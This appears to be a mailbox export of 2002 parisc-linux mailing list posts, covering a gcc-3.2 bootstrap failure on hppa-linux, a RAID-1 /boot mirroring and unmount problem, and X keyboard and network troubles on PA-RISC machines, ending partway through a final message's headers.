Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem building gcc-3.2 (cvs head) on hppa-linux
Date: Fri, 12 Jul 2002 09:56:16 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20020712165616.GA8724__41513.6627773338$1416621497$gmane$org@tausq.org>
References: <20020712072703.GA8838@tausq.org> <200207121344.g6CDi4vc017066@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621497 10361 80.91.229.3 (22 Nov 2014 01:58:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:17 +0000 (UTC)
Cc: gcc@gcc.gnu.org, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 11:47:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail14.speakeasy.net [216.254.0.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 405DC4877
	for <parisc-linux@parisc-linux.org>; Fri, 12 Jul 2002 11:47:40 -0600 (MDT)
Original-Received: (qmail 19024 invoked from network); 12 Jul 2002 16:52:36 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail14.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <gcc@gcc.gnu.org>; 12 Jul 2002 16:52:36 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 26832CDFFA; Fri, 12 Jul 2002 09:56:16 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200207121344.g6CDi4vc017066@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15420

> Yes.  This is one of the manifestations of the the long call bug
> in 3.0.4.  You need to use "-O2" in STAGE1_CFLAGS to work around
> it or use gcc 3.1 later as a bootstrap compiler.  You will have
> the same problem if you try to rebuild 3.0.x.  There is a silent
> miscompilation of expr.c if I remember correctly.

with gcc-3.1 as bootstrapping compiler:

$ gcc -v
Reading specs from /home/tausq/opt/gnu/lib/gcc-lib/hppa-linux/3.1.1/specs
Configured with: /home/tausq/src/gcc-20020708/configure --prefix=/home/tausq/opt/gnu --host=hppa-linux --build=hppa-linux --target=hppa-linux --enable-shared --disable-nls --enable-languages=c
Thread model: single
gcc version 3.1.1 20020708 (prerelease)


gcc -DIN_GCC -DCROSS_COMPILE   -g  -W -Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -Wtraditional -pedantic -Wno-long-long  -DHAVE_CONFIG_H  -o cc1 \
        c-parse.o c-lang.o attribs.o c-errors.o c-lex.o c-pragma.o c-decl.o c-typeck.o c-convert.o c-aux-info.o c-common.o c-format.o c-semantics.o c-objc-common.o libcpp.a  main.o libbackend.a   ../libiberty/libiberty.a
/usr/bin/ld: libbackend.a(expr.o)(.text+0x3f660): cannot reach 000002bc_integer_zerop+0, recompile with -ffunction-sections
/usr/bin/ld: libbackend.a(expr.o)(.text+0x3f660): cannot handle R_PARISC_PCREL17F for integer_zerop
/usr/bin/ld: final link failed: Bad value
collect2: ld returned 1 exit status

i'll do a bit more digging later

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:23:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pa54 PS/2 mouse broken? My mistake
Date: Fri, 12 Jul 2002 19:51:26 +0200 (CEST)
Lines: 36
Approved: news@gmane.org
Message-ID: <1026496286.3d2f171e6caba@webmail.tiscalinet.be>
References: <1026495159.3d2f12b76859f@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621497 10370 80.91.229.3 (22 Nov 2014 01:58:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:17 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 11:51:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D9D74883
	for <parisc-linux@parisc-linux.org>; Fri, 12 Jul 2002 11:51:32 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17T4Zi-000891-00; Fri, 12 Jul 2002 19:51:26 +0200
In-Reply-To: <1026495159.3d2f12b76859f@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15421

Oops My mistake (please accept my apologies).

After a change of the mouse and a reboot it works fine now.

Sorry for confusion,
    Joel

Quoting joel.soete@freebel.net:

> Hi all,
> 
> On my b180 (on which I build my md mirror) mouse (PS/2) does not work
> any more
> neither with gpm (release 1.19.6-12) neither with xfree86 (release
> 4.1.0-17)alone also (without gpm running) (I also test severall mouse
> knowing it
> works on my 712). 
> 
> Thanks in advance for help,
>     Joel
> 
> 
> 
> 
> -------------------------------------------------
> This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem building gcc-3.2 (cvs head) on hppa-linux
Date: Fri, 12 Jul 2002 13:52:56 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200207121752.g6CHqvRY018027__27740.9039474607$1416621497$gmane$org@hiauly1.hia.nrc.ca>
References: <20020712165616.GA8724@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621497 10375 80.91.229.3 (22 Nov 2014 01:58:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:17 +0000 (UTC)
Cc: gcc@gcc.gnu.org, parisc-linux@parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 11:53:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9A5D4488C
	for <parisc-linux@parisc-linux.org>; Fri, 12 Jul 2002 11:53:00 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6CHqvFN018029;
	Fri, 12 Jul 2002 13:52:58 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6CHqvRY018027;
	Fri, 12 Jul 2002 13:52:57 -0400 (EDT)
In-Reply-To: <20020712165616.GA8724@tausq.org> from "Randolph Chung" at Jul 12, 2002 09:56:16 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15422

> > Yes.  This is one of the manifestations of the the long call bug
> > in 3.0.4.  You need to use "-O2" in STAGE1_CFLAGS to work around
> > it or use gcc 3.1 later as a bootstrap compiler.  You will have
> > the same problem if you try to rebuild 3.0.x.  There is a silent
> > miscompilation of expr.c if I remember correctly.
> 
> with gcc-3.1 as bootstrapping compiler:

Oops, only 3.2 has the long jump fix.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:23:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] MD problem
Date: Fri, 12 Jul 2002 20:04:35 +0200 (CEST)
Lines: 91
Approved: news@gmane.org
Message-ID: <1026497075.3d2f1a33f3f96@webmail.tiscalinet.be>
References: <1026492563.3d2f08930c978@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621497 10384 80.91.229.3 (22 Nov 2014 01:58:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:17 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 12:04:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90B464885
	for <parisc-linux@parisc-linux.org>; Fri, 12 Jul 2002 12:04:37 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17T4mS-0000UY-00; Fri, 12 Jul 2002 20:04:36 +0200
In-Reply-To: <1026492563.3d2f08930c978@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15423

and additional problem:
if I mount automaticaly /boot in /etc/fstab it is impossible to dismount this fs:

umount /boot
device busy

fuser -u /boot
/boot
No process references; use -v for the complete list
fuser -v /boot:

             USER       PID  ACCESS  COMMAND
/boot        root    kernel  mount   /boot

Any idea? (if I mount it manualy after the reboot no problem?)

Quoting joel.soete@freebel.net:

> Hi All,
> 
> I build a raid-1 configuration starting from the internal disk sdb
> formated as
> follow:
>                                   cfdisk 2.11n
> 
>                               Disk Drive: /dev/sdb
>                              Size: 9100044288 bytes
>               Heads: 64   Sectors per Track: 32   Cylinders: 8678
> 
>     Name        Flags      Part Type  FS Type          [Label]       
> Size (MB)
> 
> ------------------------------------------------------------------------------
>     sdb1                    Primary   Linux/PA-RISC boot                
>  63.97
>     sdb2                    Primary   Linux swap                        
> 128.98
>     sdb3                    Primary   Linux                             
> 127.93
>     sdb5                    Logical   Linux                            
> 1664.10
>     sdb6                    Logical   Linux                             
> 255.86
>     sdb7                    Logical   Linux                             
> 127.93
>     sdb8                    Logical   Linux                             
> 127.93
>     sdb9                    Logical   Linux                            
> 2047.87
>     sdb10                   Logical   Linux                            
> 2047.87
>     sdb11                   Logical   Linux                            
> 2047.87
>                             Logical   Free Space                        
> 459.28
> 
> sdb3 being the /boot & sdb5 / fs.
> 
> then I copy this structure with sfdisk -d /dev/sdb | sfdisk /dev/sda
> (same size
> but not the same supplier) and synchronize all mdi with respective disk
> slice.
> 
> All is ok. But still have to mirror manually quasi static slices: sdx1
> (F0) and
> sdx3 (/boot). So I umount /boot and made a dd from sdb3 to sda3 Ok and
> sdb1 to
> sda1 Ok.
> 
> But when I try to boot from the mirror (ie sda) bootloader did not find
> the ipl
> eventhought the copy of the two F0 slices (I can still boot from sdb)?
> 
> What do I wrong or better what should I have to resolve this problem?
> 
> Thanks in advance for advice,
>     Joel
> 
> 
> -------------------------------------------------
> This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] MD problem
Date: Fri, 12 Jul 2002 13:26:55 -0500
Lines: 134
Approved: news@gmane.org
Message-ID: <4E39457CA36BA347A9940A14D48B11A90AFE3B@umr-mail2.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621498 10391 80.91.229.3 (22 Nov 2014 01:58:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:18 +0000 (UTC)
To: <joel.soete@freebel.net>, <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 12:27:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay1.cc.umr.edu [131.151.1.120])
	by dsl2.external.hp.com (Postfix) with ESMTP id 135B74887
	for <parisc-linux@parisc-linux.org>; Fri, 12 Jul 2002 12:27:00 -0600 (MDT)
Original-Received: from umr-mail2.umr.edu (umr-mail2.umr.edu [131.151.1.122]) via ESMTP by mrelay1.cc.umr.edu (8.12.1/) id g6CIQtow024566; Fri, 12 Jul 2002 13:26:55 -0500
X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [parisc-linux] MD problem
Thread-Index: AcIpzqx37mgYLCY/To2xjfedkld/hwAAvNuw
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15424

You got it in /etc/exports and running nfs?

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216


> -----Original Message-----
> From: joel.soete@freebel.net [mailto:joel.soete@freebel.net]=20
> Sent: Friday, July 12, 2002 1:05 PM
> To: parisc-linux@parisc-linux.org
> Subject: Re: [parisc-linux] MD problem
>=20
>=20
> and additional problem:
> if I mount automaticaly /boot in /etc/fstab it is impossible=20
> to dismount this fs:
>=20
> umount /boot
> device busy
>=20
> fuser -u /boot
> /boot
> No process references; use -v for the complete list
> fuser -v /boot:
>=20
>              USER       PID  ACCESS  COMMAND
> /boot        root    kernel  mount   /boot
>=20
> Any idea? (if I mount it manualy after the reboot no problem?)
>=20
> Quoting joel.soete@freebel.net:
>=20
> > Hi All,
> >=20
> > I build a raid-1 configuration starting from the internal disk sdb
> > formated as
> > follow:
> >                                   cfdisk 2.11n
> >=20
> >                               Disk Drive: /dev/sdb
> >                              Size: 9100044288 bytes
> >               Heads: 64   Sectors per Track: 32   Cylinders: 8678
> >=20
> >     Name        Flags      Part Type  FS Type         =20
> [Label]      =20
> > Size (MB)
> >=20
> >=20
> --------------------------------------------------------------
> ----------------
> >     sdb1                    Primary   Linux/PA-RISC boot   =20
>            =20
> >  63.97
> >     sdb2                    Primary   Linux swap           =20
>            =20
> > 128.98
> >     sdb3                    Primary   Linux                =20
>            =20
> > 127.93
> >     sdb5                    Logical   Linux                =20
>           =20
> > 1664.10
> >     sdb6                    Logical   Linux                =20
>            =20
> > 255.86
> >     sdb7                    Logical   Linux                =20
>            =20
> > 127.93
> >     sdb8                    Logical   Linux                =20
>            =20
> > 127.93
> >     sdb9                    Logical   Linux                =20
>           =20
> > 2047.87
> >     sdb10                   Logical   Linux                =20
>           =20
> > 2047.87
> >     sdb11                   Logical   Linux                =20
>           =20
> > 2047.87
> >                             Logical   Free Space           =20
>            =20
> > 459.28
> >=20
> > sdb3 being the /boot & sdb5 / fs.
> >=20
> > then I copy this structure with sfdisk -d /dev/sdb | sfdisk /dev/sda
> > (same size
> > but not the same supplier) and synchronize all mdi with=20
> respective disk
> > slice.
> >=20
> > All is ok. But still have to mirror manually quasi static=20
> slices: sdx1
> > (F0) and
> > sdx3 (/boot). So I umount /boot and made a dd from sdb3 to=20
> sda3 Ok and
> > sdb1 to
> > sda1 Ok.
> >=20
> > But when I try to boot from the mirror (ie sda) bootloader=20
> did not find
> > the ipl
> > eventhought the copy of the two F0 slices (I can still boot=20
> from sdb)?
> >=20
> > What do I wrong or better what should I have to resolve=20
> this problem?
> >=20
> > Thanks in advance for advice,
> >     Joel
> >=20
> >=20
> > -------------------------------------------------
> > This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >=20
>=20
>=20
> -------------------------------------------------
> This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>=20


From - Thu Nov 08 21:23:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem building gcc-3.2 (cvs head) on hppa-linux
Date: Fri, 12 Jul 2002 12:59:23 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20020712195923.GC8724__16942.4792322845$1416621498$gmane$org@tausq.org>
References: <20020712165616.GA8724@tausq.org> <200207121752.g6CHqvRY018027@hiauly1.hia.nrc.ca> <20020712193842.GB8724@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621498 10397 80.91.229.3 (22 Nov 2014 01:58:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:18 +0000 (UTC)
Cc: gcc@gcc.gnu.org, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 13:54:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail16.speakeasy.net [216.254.0.216])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C04E482E
	for <parisc-linux@parisc-linux.org>; Fri, 12 Jul 2002 13:54:28 -0600 (MDT)
Original-Received: (qmail 25177 invoked from network); 12 Jul 2002 19:54:24 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail16.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <gcc@gcc.gnu.org>; 12 Jul 2002 19:54:24 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 37D93CDFFA; Fri, 12 Jul 2002 12:59:23 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020712193842.GB8724@tausq.org>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15425

> /home/tausq/src/gcc-3.2/gcc/unwind-dw2.c: At top level:
> /home/tausq/src/gcc-3.2/gcc/unwind-dw2.c:56: error: size of array `reg' is too la
> rge
> /home/tausq/src/gcc-3.2/gcc/unwind-dw2.c:62: internal compiler error: internal er
> ror: Segmentation fault

something basic seems to be broken:
tausq@a500:~/build/gcc-3.2$ cat t.c
void *foo[2];

tausq@a500:~/build/gcc-3.2$ /home/tausq/build/gcc-3.2/gcc/xgcc -B/home/tausq/build/gcc-3.2/gcc/ -B/home/tausq/opt/gnu/hppa64-linux/bin/ -B/home/tausq/opt/gnu/hppa64-linux/lib/ -c t.c
t.c:1: error: size of array `foo' is too large
t.c:1: error: storage size of `foo' isn't known

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:23:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephan Trajkoff" <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem in X with keyboard and problem with LAN and telnetd
Date: Fri, 12 Jul 2002 23:31:28 +0300
Lines: 15
Approved: news@gmane.org
Message-ID: <20020712203010.59C8D488D@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621498 10399 80.91.229.3 (22 Nov 2014 01:58:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 14:30:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 59C8D488D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Jul 2002 14:30:10 -0600 (MDT)
Original-Received: (qmail 25886 invoked from network); 12 Jul 2002 20:31:29 -0000
Original-Received: from softdnserror (HELO www.itp.bg) (httpd@212.72.204.1)
  by softdnserror with SMTP; 12 Jul 2002 20:31:29 -0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15426

-------------------------------------------------------------------
-->> FREE Perl CGI scripts add WEB ACCESS to your POP email accounts!
-->> Download today!! http://www.adjeweb.com
-------------------------------------------------------------------

I have 3 problems
1. when I run Xfree86 with KDE, my ps/2 keyboard won't work, I sait=20
to XFREE that I have us keyboard, pc104 and that is ps/2.
2. my LAN lasi 82596 says that I have timeout non stop with
connection
3. When I connect from Windows and Linux to my server, and when I run=20
command that display many rows, automatically linux closing my=20
connection and _|_. With SSH all is working. For example try to run=20
dmesg or ps axuw.


From - Thu Nov 08 21:23:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephan Trajkoff" <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem with XFREE 4.1.0 latest by apt-get:)
Date: Fri, 12 Jul 2002 23:34:39 +0300
Lines: 12
Approved: news@gmane.org
Message-ID: <20020712203316.64EFF4891@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
